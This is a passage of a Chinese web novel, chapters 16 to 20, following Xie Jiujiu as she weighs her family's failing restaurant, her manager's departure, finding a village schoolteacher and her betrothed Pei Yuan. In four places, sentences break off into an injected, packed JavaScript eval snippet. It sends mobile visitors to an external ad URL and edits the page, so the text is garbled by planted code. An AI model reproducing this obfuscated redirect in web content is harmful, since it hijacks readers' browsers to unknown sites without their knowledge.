这些小食肆就不能像大饭庄那样,只有中午和下午饭点的时候进人做生意。 他们得时时刻刻在灶前守着,什么时候来个客人就什么时候炒菜,即便是晚上,也肯定是要留给人守着厨房的。 谢德昌是个爱吃也会吃的人,他还在的时候,隔三差五就要从这些小馆子里叫两个菜,带回来吃。为此几个相熟的食肆里,都有谢德昌留下的食盒。 现在看着黄娟跟谢九九进来,老板还专门收拾出个角落里,一面靠着墙一面靠着窗的桌子,“黄娘子今天怎么有空跟大姑娘一起来。” “刚散了牌局,见您这儿生意好就饿了。” 黄娟在谢九九跟前泼辣些,到了外边反而矜持了。跟食肆老板说过两句客套话,就低头去摆弄碗筷,不再多说什么。 “老板,今天还有没有卤肥肠,有的话来一个爆炒肥肠,一个凉拌茄子,一个鱼丸汤。” “得嘞,还是咱们大姑娘会吃,得了谢掌柜的真传了。” “谢老板的夸,我娘也说我像我爹。” 16. 第 16 章 店子里生意好,老板也没功夫瞎聊,客气两句也就忙去了。 在巷子口的小食肆里吃一顿饭,那叫一个热闹。后厨和前面那道帘子就没放下来,也正因为这样,满满的锅气和油烟也都冲前面来了。 吃到一半还有个年轻妇人带着两个孩子来拼桌,老实巴交的站在一旁问谢九九对面有没有人。谢九九赶紧把菜盘子往自己这边挪了挪,“没人没人,嫂子你快坐下。” 这种开在街头巷尾的小食肆,吃的就是一个便宜量大不磨叽。 年轻妇人坐下没一小会儿,一菜一汤就上来了。一个香干炒肉,香干多肉少,肉切成碎碎的沫就是借个味儿,主要是吃香干。 还有一个酸辣汤,酸菜是老板自己家里做的,放上一点晒干的鱼仔提鲜,一大盆端上来泡饭都够了。 谢九九从来没跟人拼桌吃饭,难得有这么机会,还趁机跟这年轻的妇人多聊了几句。 这妇人姓秦,也住在城南。要说远近大概跟自己家里就隔了三条街,只不过那边多是一进的宅院,住的也多是租赁户,有些甚至一家子租不起一个院子,就两家三家合伙租下一个。 秦娘子家里原本还过得去,去年家里丈夫干活的时候摔断了腿,家里才逐渐捉襟见肘起来。 今年过完年,丈夫的伤养了个半好就出去找活干了。 秦娘子闲不下来,也在外面找了个活计,给绣坊当杂工,整理丝线布料搬搬抬抬的,累是累些但每月赚的钱要比在家接绣活儿赚得多。 “邻居都说我在家待着更好,接些针线和洗衣的活计,赚两个是两个,留在家里还能照顾孩子。” 秦娘子说起这个就不禁皱了眉头,“我男人摔断了腿,以前能上梁,泥工木工都能干,现在只能带人接些小活儿,自己再赚个杂工的钱,这又能有多少。” “我出来,一个月能赚二钱银子,在家里给别人洗衣裳一钱都赚不到。绣坊的老板人好,我去干活包吃,每天早上出门前把饭菜给孩子留下,他们热一热就行了。” 绣坊一个月也有两天不上工,那两天就在家里里里外外的打扫一遍。 这么干肯定是不如自己天天守在家里干净整洁,但一个月多一钱银子,一年就能多一两二钱,还省了每天自己吃饭花的钱,这一年到头多出来的,手头自然要宽松些。 “那是比留在家里强些,今天嫂子出来是带孩子打牙祭来了?” “可不是,说好了我不在家的时候他俩听话些,一个月就带他们出来吃两顿好的。” 秦娘子说起这个脸上都多了几分笑意,自己能赚钱,赚了钱能带孩子出来下馆子,这对于她来说无疑是一件很要紧很值得高兴的事。 一说吃好的,两个孩子抬头看了看谢九九。看上去大两岁的男孩儿还咧嘴冲谢九九黄娟笑了笑,像是在很赞同他娘的话。 谢九九顺手夹了两块卤肥肠给俩孩子,“尝尝味道好不好,一人一块不能多吃,肠子什么的小孩子吃多了可长胖。” 眼下吃下水肠子的人家并不多,一来是习惯使然,二来是买回去也难做。 光是要把猪下水清理干净就不知要花费多少功夫,又是拿盐水泡又是拿面粉揉的。是盐不要钱还是面粉不要钱?有吃这个的功夫,还不如省钱吃肉了。 也就是食肆里弄一次卤着的量大,才有些赚头。 再加上好些在码头卖力气的人过来吃饭,身上再拮据每顿饭也还是要喝点浊酒,要不然干了一天的活儿,身上疼得很,这下水卤味就是最好的下酒菜。 肥肠油大,又佐了辣子爆炒,小两块就给俩孩子拌了半碗饭。吃干净碗里的饭,秦娘子又给两人一人盛了满满一碗酸菜汤。 饭吃饱汤喝足,一大两小三个人一共花了二十个铜板。比起在家自己做,要是天天在外面吃肯定不划算,可要是一个月出来打两回牙祭,这就很合适了。 “外面香干才八文一斤,那一盘子看着多,其实也就一两块香干,绝对没半斤。肉末更少,一二两?反正不会超过二两。” 猪肉二十文一斤,二两猪肉才两三个铜板,再加上两三文的香干,油盐酱醋都算上,一个菜六七文的成本。 老板卖出来十二文一个菜,再把人工和房租扣掉,看着赚得不多,但一中午那么多桌客人进进出出,这么算下来肯定也没少赚。 从食肆出来,母女两人又绕了个大圈,去以前谢德昌最喜欢吃的卤货铺子买了卤好的猪蹄和豆腐干,才高高兴兴往回走。 一边走,谢九九就一边絮絮叨叨算两人吃的这顿饭,好一通账算下来,感情人家弄这么个小食肆,一个月下来真不少赚,甚至说不好到底是这个小铺子赚得多,还是云客来赚得多。 “人家赚的是辛苦钱,要你天天站在灶台旁烟熏火燎的,你受得了?就是你爹也受不了。” 当年谢家太爷就是这么苦过来的,甚至那时候他就只有一根扁担,连一片遮头的瓦都没有。 凉皮要用的米皮得半夜起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176330|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来做,面也要提前做好在热水里滚过一遍,油拌好放凉,这样才不会坨了之后粘在一起。 等这些准备工作做完天也亮了,歇不了多久就得担着扁担走街串巷的去卖。几辈人就这么一分一厘的攒,才攒下来谢德昌和谢九九再也吃不得这份苦。 “没打算吃那个苦,我就是没事瞎琢磨。” 谢九九心里想的是云客来的事,不过现在自己心里也没捋出个头绪来,就没有必要说出来让一家子一起心烦了。 “你现在最要紧的任务是你和裴家的婚事,饭庄里有潘掌柜,现在谢家又不插手铺子里的事了,你怎么还着急。” “娘,当初潘掌柜答应来云客来,归根究底其实是大舅的面子。” 潘掌柜欠过黄海大人情,当年饭庄里急需一个掌柜跟族里制衡,黄海挠破了脑袋才把潘掌柜给想起来。 又要替东家经营一个饭庄,又要看着不让谢家族里做得太过分,这其中还得保全了自己别把谢宝柱他们得罪干净撕破脸。 这种费力不讨好的差事,潘掌柜一做就做了三年,这背后还不知道黄海又反过头搭了多少人情关系进去,要不然别人凭什么惹这一身骚。 谢九九说得有道理,每年年底潘掌柜往家里来,黄娟明面上再客气,也免不了带上几分不高兴。她知道这事错不在潘掌柜,但就是忍不住。 去年谢九九干脆就不让自己出面了,由她领着谢文济待客,倒是两边都自在许多。 “可那是你大舅,你娘我不是不讲道理,潘掌柜有多难我心里知道。我这个脾气不好我也知道,你看你说不让我出面我不也答应你了。” “以后等你成了亲,不管是你还是裴元,你们跟潘掌柜打交道便是,我肯定不掺和也不问,这还不行?” 黄娟这人讲道理也冲动,冲动的时候什么道理都听不进去,过后听了道理又后悔,可该得罪的人还是得罪了,所以她即便脾气硬,也从未想过让她在外面理事。 “娘,亲戚要想处得长久处得好,最要紧的是人情往来,走得勤。” 可这人情往来不能只一味索取,以前自己还小又在守孝,当舅舅的替自己出头怎么都行。现在自己和弟弟都大了,怎么好再让舅舅一直搭人情,把潘掌柜强留下来。 就凭人家那八面玲珑的本事,去哪里做个掌柜也比留在云客来轻松舒服。 “咱们家得靠自己立起来,得有朝一日舅舅有什么为难的事了,我们也能帮得上,这才是亲戚。” 17. 第 17 章 事儿就是经不起琢磨,谢九九这边刚把云客来放在心尖上掂量来电量去,另一边潘掌柜就找上门来了。 一路上还没怎么把黄娟劝好,刚走到家门口就正好碰上拿着个大包袱皮的潘掌柜,谢九九只愣了一瞬,便大概猜到他是来干什么的了。 “潘掌柜家里请,正好刚买了卤猪蹄,让文济陪您喝两杯。” 这个时辰过来,一看就知道是云客来晚上这一顿没什么生意,他就干脆趁这个空档过来了,省得耽误他晚上回家晚了。 “大姑娘客气,来之前在店里吃过了,咱们都做这个生意了,亏什么都不能亏了这张嘴。” 潘掌柜能吃也会吃,早些年也是给县城一家大酒楼当掌柜当了好些年的能人。 后来自己攒了钱出来做生意,许是运道不好,连着换了两三个买卖都不成。攒的钱亏完了还欠了一屁债,只得又出来替别人看店当掌柜。 潘掌柜乐呵呵的跟着谢九九进了谢文济的书房,等黄娟回屋去,书房里只剩下谢九九谢文济姐弟两个,他才敛了笑意从褡裢里拿出一本不算厚的账册来。 “大姑娘,这是过完年至今的账目,都在这里了。” 这段时间谢九九所有做的是他都看在眼里,在他看来这个姑娘本事大着,没有什么为难的事不能跟她明说。 “东家能把云客来要回来,大家都觉得大快人心。但咱们生意差了就是差了,人气散了再聚拢不是件简单的事。 云客来这三年的生意是一年比一年差,今年被谢家族里那几个人的名声带累,又更差了些。要是再不想想法子,恐怕维持不了多久。” “潘掌柜,咱们打交道的时间不短了,您跟我大舅又是老朋友,有什么话您尽管跟我直说,没关系的。” 谢九九接过账本没有翻看,她清楚今天潘掌柜过来,绝对不是只为了告诉自己云客来生意不好这件事。 这事还需要他来告诉吗,全县城的人都知道,云客来不是当年谢德昌还活着的云客来了。 “不敢瞒着东家,前两天有人找上我,让我去府城。” 潘掌柜这种性情圆滑却不奸猾,做事能干处事八面玲珑,有底线又不过分较真的人,多的是东家愿意请他去当掌柜。 “本来我是拒绝了的,老黄跟我多少年的兄弟了,我落难的时候只有你大舅肯给我搭把手,这就是过命的交情。 当年答应他接下云客来掌柜这差事,一定要有头有尾才是一番道理。” “不过东家有本事,最近这段时间一出接一出的,你家族里那几个货攒一起也不是东家的对手。这样的话,店里省下我的工钱,倒是更合算一些。” 潘老板说起这个的时候,脸上的神情颇有些不好意思。毕竟这话说得,好像他都是为了云客来和谢九九着想,才打算另投别处。 但眼人都清楚,潘掌柜这是不看好云客来的以后,提前给自己找了下家了。 “潘掌柜这么说,我这心里倒是不安了。这几年多亏了您帮我们家守在云客来,族里再怎么着也只敢背地里做些小动作。 再不济,一年到头总还要给些银子给我。要是没有您看着,现在云客来到底是不是我家的,恐怕都不好说了。” 好话嘛,谁都会说。跟潘掌柜这三年处得不错,没必要到最后了再得罪人家。 “潘掌柜有更好的前程,我和文济只有替您高兴的。就是不知道您什么时候去府城,再怎么着也得让我们准备准备,哪日来家里吃顿饭,就算给您践行。” “不着急,不着急。我跟那边已经说好了,等东家跟裴家郎君的婚事办妥,到时候您出门理事更方便了,我再过去。” 潘掌柜本以为谢九九要留自己,装了一肚子的话过来。没想到人家是真知情识趣,潘掌柜不觉得自己被怠慢了,只又忍不住在心里感慨,谢九九是个机敏能成事的。 “既如此就最好了,方才我心里还想着,我成亲要是潘掌柜不来,那多遗憾啊。可千万说好了,我成亲那日掌柜得早早的来。” 谢九九没有强留,还把话说得这么好听,潘掌柜原本紧绷着的背脊一下子就松懈下来。谢九九能把事办得这么体面,自己也好跟黄海有个交代。 一个饭庄经营的重点在哪个方向,并不是一朝一夕能改的,改也不一定能改好。正因如此,潘掌柜就干脆不死磕了,而是良禽择木而栖,另找别枝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176331|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢九九送走潘掌柜,回头就见谢文济一脸愁容看着自己,十三四的半大孩子还没学会怎么掩饰自己的焦虑。 “……姐,潘掌柜这一走,咱们怎么办。” “什么怎么办,人家多精明。猜到我以后不会用他,干脆自己提前把这个话说出来,是给他自己和我们都留着面子。” 黄大舅那么多朋友,为什么唯独找了潘掌柜来。就因为他为人够圆滑,骨子里也没有那么多的打抱不平。 只有这样的人,才能跟谢宝柱谢天佑他们和稀泥相处下来。真找个刚直见不得他们背地里搞鬼的,早就闹翻了。可当时闹翻了对谢家有什么好处呢? 潘掌柜这种人,就适合去更大的饭庄酒楼。 东家本就没打算一分一厘都算计清楚,就要这么个八面玲珑的人把上下都糊弄住,不走了大样子就行了。 但云客来现在用不起他这样的掌柜。 说到云客来,谢九九又把今天下午在小食肆里的事跟谢文济说了,她刚刚大致翻看了一下今年的账目,比去年又差了些,真就远远比不上那小食肆每日的进项流水。 “姐姐打算把云客来也改成巷口食肆那样?”云客来的事谢文济其实不太懂,听谢九九这么说,第一反应就是谢九九想把云客来做成食肆。 “那不行,我真要开食肆,宁可重新选地方重新开店,也不能拿云客来的招牌来改。” 做生意,很多时候定下什么价,从今往后就只能涨价不能降价。 降了,人家不会觉得你是在让利,只会觉得诶?这东家以前赚得真狠,要不然现在卖得这么便宜了怎么赚钱。 “我就是跟你说一说,你听着就行了。”谢九九就是觉得自己一个人在心里琢磨憋得难受,把这事跟谢文济说一说,自己心里的条理也跟着顺了许多。 “姐!” “嗯?” 谢九九说过就过了,打算起身回去。谢文济却依旧蹙着眉,喊住已经走到书房门口的谢九九。等谢九九回头,他又不知道该说些什么。 “有话就说,没想好怎么说就想好了再来找我。” “那没事了,姐你先回去吧。” 18.第 18 章 谢九九从未想过要自己一个人扛起整个谢家,不过是之前弟妹还小她也就不着急。 谢文济如今学着把云客来的事放在心里琢磨,那就让他琢磨。 他跟裴元不一样,裴元是姑爷,他是谢家的儿子。读书要紧谢家的产业家财也要紧,他要是真的一点也不操心家里的事,谢九九才要不高兴。 “姑娘,时辰不早了,该睡了。” “闭上眼满脑子都是事,睡不着啊,春儿。” 春儿姓张,她爹本是谢家的长工,特老实头的一个人。每天闷头干活从不多言,家里和云客来的活儿他都干,谢九九就从来没听他说过一个不字。 可这老实人的命不好,他和他媳妇本有一儿一女,在谢九九还小得不懂事的时候,大儿子一场伤寒没熬过来死了。 儿子一死,春儿她娘的心气儿就散了大半。整天在家里魂不守舍的,要么发呆要么去儿子的坟上发呆。春儿她爹还要干活养家,实在没办法,就把女儿抱到谢家来。 春儿比谢九九小两岁不大,俩小姑娘作伴在家玩儿挺好的,那时候春儿就在谢家的时候比回家的时候要多,晚上玩累了跟谢九九一张床就睡了。 原想着把女儿拉扯大就好了,谁知十年前的秋里,春儿她娘出了门就再没能回来。 人是第二天在去山上路边的塘里找到的,不知道是不小心掉下去的,还是当娘的实在熬不住,想不通自己跳下去的。 没了娘,从小自己照管自己的春儿哭了几天,也就该干嘛干嘛了。倒是她爹一直缓不过来,短短两年时间,跟着一病不起死了。 临死前,他把春儿叫到床前,嘱咐她等自己死后就去她舅舅家,跟着舅舅一家过日子。 谁知答应得好好的春儿,等亲戚们帮着她把她爹的丧事办完,第二天就自己找人写了卖身契来了家里。 那一年谢九九十岁,春儿才八岁。八岁的孩子自己拿着卖身契找到谢德昌说,弟弟死了,娘舍不得弟弟去找弟弟。娘死了,爹舍不得娘去找娘。 自己没有舍不得的人,自己想要好好活着。她也不想跟着舅舅生活,等过几年再被舅舅舅妈做主,嫁给别人。她自己给自己做主,想要卖了自己留在家里。 谢九九永远都记得,当年瘦瘦小小的春儿颤着嗓子说话的样子。 自那以后春儿就在家里留了下来,自己要招赘的事她是第一个知道的,或者说这事从头到尾都是两人一点点商量着定下来的。 “那就不睡,姑娘先去洗澡,我去厨房弄点夜宵,吃馄饨还是面条。” “面条吧,用晚上没吃完的酸菜蒸肉做浇头,小心点别让老二听见了。” 谢文济从小肠胃就弱,还嘴馋。偏偏馋起来又不能吃,家里晚上吃个宵夜开个小灶还得小心躲着他,可烦了。 越说要躲着他,就越躲不过去。春儿去厨房轻手轻脚通开灶眼,刚把面下好一回头就看见谢文济站在厨房门边上,眼巴巴的看着。 “二少爷,大姑娘说您脾胃弱,晚上不能吃这个。” “要不你随便给我弄点别的,总有能吃的吧。” 读书的人,晚上难免挑灯夜读,夜一深就容易饿。今天潘掌柜过来再加上谢九九跟他说云客来的事,这一晚上心里光想这些,就想得更饿了。 春儿看着明显就是在耍赖的谢文济,实在没忍住翻了个大白眼。 面不抓紧吃就坨了,哪还有时间给他再去弄别的,只能是拿个小碗,从自己这一碗里把上面没沾浇头的一半挑出来,“二少爷少吃些,明天要是哪儿不舒服,千万别把我供出来。” 谢文济端着面碗高高兴兴走了,他书房里藏着拿猪油和萝卜干的酸藕丁,炒好了放凉再放进小酒坛子里,只要不是夏天,搁在阴凉的地方能放四五天。 每次饿了去厨房弄吃的,不管是米粉还是面条,加一勺猪油酸藕丁就什么滋味都有了。自己和唐全一人一大碗,吃完了把碗洗完了放回去,第二天谁也不知道。 “老二找你要吃的了?” 谢文济以为自己偷吃得神不知鬼不觉,其实谢九九一看春儿端回来一碗多一碗少的面条,就知道肯定是谢文济也去厨房了。 “二少爷从去年起身体越发的好了,姑娘忘了前几年你是怎么不经饿了的,吃多少都没够,天天夜里去厨房找东西吃,陈妈妈都被你吃怕了。” 抽条长个子的时候就是饿得快,好像吃多少都填不满肚子,隔不了多久就饿了。 谢九九现在想的不是这个,云客来的事告诉了谢文济,是想告诉他家里的事没有那么简单,他跟自己一起操心是天经地义的。 但又怕他操心太过积在心里成了心病,那就过犹不及了。这会儿见他还有心情肚子饿,还知道去厨房偷摸寻东西吃,谢九九就彻底放心了。 “行了,不管他了,快吃。” 谢九九拉着春儿坐下,两人呼啦呼啦没多会儿就把面条给吃了。吃饱了洗个脸洗个手再躺下,肚子里有食,睡都睡得格外香甜。 吃了面条踏踏实实睡过一觉,昨天还觉得事堆着事恨不得一夜愁白了头。 今早听见窗外的鸟叫声,和陈妈妈嘀咕昨晚上剩的酸菜蒸肉怎么都没了的动静,压在心里那口郁气不知不觉就散了大半。 谢九九不再急着给云客来改头换面,又或是大张旗鼓的跟人说云客来要薄利多销,要给菜品降价了。 真要是这么干了,本来还能维持的生意,用不了几天就得关门歇业。这事干不了那就不干,摆在一旁缓一缓,先去忙别的事。 “老二,老二!让你去打听哪儿有愿意去私塾教书的先生,打听得怎么样了,问着没有。” 谢文济前两年一直在县里一个私塾先生那里读书,读得好不好的不好说,反正那老秀才私塾开了二十多年,拢共教出来几个秀才公和一个举人老爷。 那举人老爷按理说也不是他教出来的,只不过小时候启蒙的时候在他那私塾里读了两年书,之后一家子就搬去府城了。 后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那这事怎么办。” “不是还要修房子吗,等过两天天气好了咱们就带人去村里看看,要赶在下个月之前把工期定下来。下个月要插秧,肯定比这个月还忙。” “房子修好了还得晾上个把月才能住人,找先生的事慢慢来吧。” 去村上走一趟,把修老房子的事情定下来,正好让村上的人算算有多少能出工的人,少了的自己这边就得补齐。 有些人不能完全断了关系,就最好不要翻脸。今年年底的里正到底是谁家上还说不定,到时候万一真被谢宝柱当了去,以后打交道的时候免不了。 工期慢一点都不怕,只要让村里的人看着自家确实是在准备弄私塾,不要被谢宝柱那些人找到由头挑刺就行了。 谢九九说什么谢文济就信什么,她说这么安排没问题,谢文济点点头便把脑袋从窗户旁收回去,安心读他的书去了。 留下谢九九绕到厨房里,从陈妈妈那儿哄来一盘灯芯糕,准备回房一边吃一边琢磨该去哪里请教书先生。 19.第 19 章 好一点儿的教书先生,很少没有活儿干。 最好的去处是给官宦富户做西席先生,除了一年几十上百两的束脩,逢年过节肯定还有额外的补贴。 要是讲究些的人家,先生一年四季的衣裳鞋袜也得准备好,住在家里有独立的屋子和伺候的人,要教的学生又少,笔墨纸砚这些东西更加不用操心。 一年下来,束脩是能全存下来的。不管是想攒钱还有心往上考的,还是绝了科举的心思,只想要做个富庶闲人的,都乐意接这个差事。 这样的先生自己的学问也好,要不然那些高门大户不能白花了这份银钱。那样的好先生谢九九不奢望,真找着了也得先紧着谢文济。 可先生不好谢九九也不乐意,私塾都办了钱都花了,要是真教不出个名堂来,那多丧气。 想了两天想不出个头绪,谢九九还是打算去一趟舅舅家,不管是大舅还是小舅,应该都能认识些读书人。 正好潘掌柜的事还得自己去跟大舅说,不能让大舅觉得自己跟潘掌柜处得不好人家才走的,到时候大舅再跟潘掌柜起了嫌隙,那就坏了。 不想人刚走到门口,就正好碰上提着一条子五花肉的裴元。两人一个站在台阶上,一个站在家门口,相视一笑,倒真是巧了。 “郎君今日为何而来。” “那天听文济说,陈妈妈做红烧肉一绝。昨晚上做梦梦着吃红烧肉,今天怎么也等不了了。” 这话说来纯属玩笑,但裴元这人确实很通人情世故,每次上门从不空手,也不会买些华而不实的东西充门面。 这么一条子五花肉,起码有个三斤还多点儿,中午拿这个做红烧肉再放上些鹌鹑蛋,尽够一家子吃的。 提这样的东西上门,家里有一个算一个都要说这个姑爷的好话,他拢共也没花多少钱,真真是皆大欢喜。 两人的婚事定下的着急,按着谢九九的想法最好是六月之前能把亲事给办完,要不然再往后天气太热了,自己这个做新娘子把凤冠霞帔一穿,也太难受了。 为此,黄娟已经让老吴和江妈妈带着承平,前后花了两天功夫把前院给收拾出来。等以后两人成亲了,就从后院搬到前院来住。 前厅依旧还做待客用,东边客房收拾成居室,夫妻两人住尽够用了。书房左边还做书房用,右边次间空出来,平日要是姑爷有客人要留宿,也不怕没有地方。 谢九九从裴元手里接过五花肉,让春儿送去后面厨房让陈妈妈中午加个菜,把裴元带去前厅坐下,“等以后我们成亲,就该从后院搬到前院来住了。” “家里不比郎君现在住的宅子大,不过小也有小的好处,到时候郎君住过来就知道。东厢还带了一间角房,以后郎君想吃红烧肉,我也能给你做。” 谢九九没问裴元今天为什么来,只跟他介绍前院每间房做什么用。听得裴元连连拱手,“大姑娘莫要打趣我,下次,下次我再不跟大姑娘兜圈子了。” “这不就是了,你我都定亲了,你来家里带上一条肉,这肉又没有吃到别人家肚子里去。” “你要是有事找我说,自然是有什么说什么,能办成的我没必要同你藏私,办不成的你没法子我也没法子。” 谢九九双手一摊,摆出一副极无辜的模样,好似真心实意把裴元当做一家人,裴元的事就是她的事,再没有不尽心尽力的道理。 但裴元听懂了她话里真正的意思,要是这事他自己为难,那她办不了也是合情合理。自己往后和她是一家人,不管什么事都要分得清里外才好。 “昨天,有个同窗从府城来找我。” 裴元沉吟片刻,把原本弯弯绕绕委婉曲折的话俭省再俭省,确定没半句废话了,才把事情跟谢九九说了。 府城城外有一青松书院,裴元曾在书院里读过几年书。 这几年搬到容县来也没有跟那边的老师和同学断了联系,逢年过节要么找人把年节礼物连同书信一起送过去,要是手头宽裕些就自己亲自去。 来找他的是在书院住同一间宿舍的同窗沈霁,沈家在府城有两间绸缎庄一间杂货铺子,算得上富足人家。 家里经营到这一代,一门心思就想要改换门楣,沈霁上面还有两个姐姐,下面还有一弟一妹。 他作为家中长子,从小到大就是被爹娘耳提面命,在‘一定要读书一定要科举出仕,一定脱了商户这层皮,蟾宫折桂光耀门楣’这样的话里长大的。 沈霁读书不是不刻苦,但越刻苦就不顺。他比裴元大三岁,两年前已经下场试过一次。 本来连书院里的先生都说他下场问题不大,偏偏还就落榜了。甚至都没能到院试那一关,四月府试就被刷了下来。 这事对沈霁的打击不小,明面上看着还跟以往一样,但越临近明年童子试,他的状态就越不好。 家里人也着急,想念叨又怕耽误了孩子读书,不念叨心里又跟着着急。用沈霁的话说,就是他在家里多看爹娘妻子一眼,都觉得喘不上气儿。 这回他是借着来看好友的由头过来散心,来了以后才知道裴元定了亲事,自己做主把自己给‘嫁’给谢家了。 裴元向来是个能做自己主的人,已经定下的事他赞不赞成多说无益。倒是两人聊天时,裴元见他一副苦大仇深死活不想回家的样子,就想到了谢九九这边还差一个教书先生的事。 “沈霁学识不差,至少不在我之下。是个性子温和的人,听说我入赘,明明心里不赞成,却没说半句不好听的话。” “他现在是只要能不在家不在书院,去哪儿都行。可家中还有父母妻子在,又不敢远行怕在外面出了意外回不来。” “从现在到明年童子试,这期间他一定能在鹿鸣村待得住。给村里的孩子启蒙,不用多大的学问,就得找一个像沈霁这样性子温和不着急的人才行。” 村上的氛围和环境,也正合适现在沈霁。他眼下最要紧的不是点灯熬油的苦读,相反他需要把自己从紧紧绷成一拉就断的状态里抽离出来。 “那以后呢。”人是合适的,可要是明年他能考上秀才,这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187890|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会继续留在村里的一个小私塾里教书,他一走明年不就又要找新的先生了。 “等明年第一批入私塾的学生,就算是启蒙了。到时候再找别的先生,就不像眼下这么为难了。就算之后还有新的学生入私塾,都是同乡同族的孩子,大的带小的出不了大错。” 谢家要给鹿鸣乡办一个私塾,这事裴元早就放在心里来回琢磨。也就是谢家不是耕读人家,定下这事的时候只考虑到钱财上的问题,最要紧的事反而忽略了。 天下这么多读书人,不是人人家里都宽裕。当教书先生办私塾是不出仕的读书人很好很体面的谋生之法,可怎么就没见人人都去当先生。 做教书先生不容易,想要维持一个私塾就更难了。 第一任老师尤为重要,不用计较请来的是不是名师,得先把最开始的这一波学生踏踏实实教出来,教得明理懂事,私塾才有机会长长久久的办下去。 至于能不能教出秀才举人,甚至是进士,这本也不是一个村上的私塾能做到的,再请名师也难上加难,又何必在这个上头较劲儿。 “你是读书人,这话你说得在理,既然你觉得沈霁可以,那这事就定下来。” 谢九九听劝,裴元把这里面的道理掰开来揉碎了跟自己讲,听完了就明白了。 沈霁是他弄来给私塾打根基的人,一个村里的私塾,用不着一飞冲天,教出个举人进士来博名声。 只要能稳扎稳打把品行德行摆在第一位,时间一长对于出钱办私塾的自家来说,百利而无一害。 “那……郎君除了为我着想,自己就没有半点私心?”读书人就是读书人,瞧瞧这满满的心眼子,跟自己这个直来直去的炮筒子就是不一样。 “自然是有,沈家做的是绸缎生意,天南地北的走,给沈霁收罗来不少外面没有的书。他搬到鹿鸣乡去住,我平日去找他借书比去府城方便。” “就这个?” “就这个。” 裴元没说,沈霁是被自己第一个划入可交往圈子里的人。读书出仕走的越远,同乡之情就越重要。独木不成林,这个道理到什么时候都是一样的。 只不过眼下自己身上还没功名,这样的话说出来难免叫人笑话自己想得太多,还是再藏一藏好了。 裴元不说,谢九九也不再追问,转过头来跟他商量乡下宅子修缮的事。 既然沈霁在家里待不下去,老房子修缮就不能用村上的人,得在外面另找工人,赶紧把房子修好晾干才行。 一说要找工人,裴元便主动揽下这个活儿。 “家里那屋顶春天漏完夏天漏,等到了秋冬还得漏。我那边有相熟的工匠,过两天带上他去一趟鹿鸣村,把工量算个大概出来,挑个吉日便能开工。” “那后天去,就这么说定了。” 两人在前院越聊越投契,等到芝娘从内院过来叫两人吃饭,一进前厅看见自家大姐不知道听那没过门的姐夫说了什么,捂着嘴笑得前仰后合的样子,本来绷着的小脸,就绷得越发厉害了。 20.第 20 章 说定了一起去鹿鸣村,到了当日,裴元一早就带着曹勇、高义和他找来的工匠一起过来。 曹勇赶一辆马车在前,高义和那人赶一辆驴车在后。驴车上还堆满了东西,一看就知道是裴元准备好打算去鹿鸣村卖的杂货。 谢九九先去看了看驴车上的货,才转身上了裴元的马车。 裴家的马车早就卖了,这马车还是从黄家借来的,谢九九亲昵的拍了拍马头,上了马车不多问他是怎么哄得大舅把马车都给了他,只问他驴车上的货。 “带这么多东西,跑一趟能赚多少钱。” “得分时候。” 农闲的时候家家户户都闲着没事,宁愿走上半天去镇上县城买所需之物,那个时候带着东西下去,就赚个三瓜两枣。 农忙的时候家中劳力都在田里,就连孩子也得帮忙。家里缺了什么东西,能将就将就,将就不了有货郎往村上来,自然就都在货郎处买了。 “特别是那些不成匹的布头,这些布料压在布行里不好卖,一批压一批越积越多,都成老大难了。” 一说这个,谢九九便忍不住笑了一下,裴元这人倒是不装像,说的都是实在话。 买东西的人大多都是这样,黄娟每次去扯布做衣裳,要么成匹成匹的卖,要么就得指明从整匹的布头上裁,那种一匹布卖得就剩一小半的,她是向来不要的。 一匹布长四丈,大约能做五件长袍直身,若是换成短衣长裤则能做的更多。 但每家布行裁剪的手艺不一样,买布料的人身高体态不一样,抛费的布料自然又不一样。很多时候最后剩下的那点布料没人要,多多少少都是要浪费一些的。 裴元做的就是这个生意,布料积压久了就不鲜亮了。他用低价从布行处买来,提前剪裁好。 多的足够做一条裤子一件短衣,少的拿来给孩子做衣裳,更少一些的大多料子更好也更碎,买去做鞋面或是贴身穿的小衣,又或者是枕巾手帕包头巾,总之只有想不到的没有用不着的。 